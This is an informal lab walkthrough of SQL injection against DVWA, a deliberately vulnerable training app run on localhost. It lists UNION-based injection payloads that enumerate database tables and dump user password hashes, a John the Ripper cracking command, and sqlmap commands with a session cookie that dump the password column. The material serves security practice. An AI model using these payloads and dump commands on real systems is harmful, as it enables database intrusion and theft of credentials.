DVWA-BLIND SQL INJECTION : LOW Level

1. Open Local host  http://localhost/dvwa

Username :  Admin

Password : Password

2. 

3.Select SQL Injection BLIND and  column ID issued 1' and 1=1#

4. 1' and 1=1 order by 2 #

5.ID: 'or' 1=1--

we can see there are 5 user

5. now see information table
1' and 1=0 union select null,table_name from information_schema.tables#

6..1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'' #

7. Information table name from table user
1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'' #

8. on the last lets see  user name and password
1' and 1=0 union select null,concat(first_name,0x0a,password) from users #

9. we will crack the md5 password
copy the passowrd into kwrite and save with name hash
next


root@bt:/pentest/passwords/john#./john --format=raw-md5 hash 

OK GOOD LUCK

Ok next lesson .. I will explain How to Exploit DVWA using Sqlmap.

1. afer login in DVWA and choose DVWA Securty Low
2. follow this picture
In User ID write '1

than show

we have an error and my conclusion that this is sql injection, not blind.

3. copy url and open your console

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

--> "security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="
we get this information by tamer data ini browser's tools

4. Now Looking for Database tables

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -D dvwa --tables

5. netx search User's Table

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -T users --columns

6. Look at field password.. we will dump it

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rc1vt2hcper8nlpau9mh2v4304" --string="Surname" -C password --dump

OK GOOD LUCK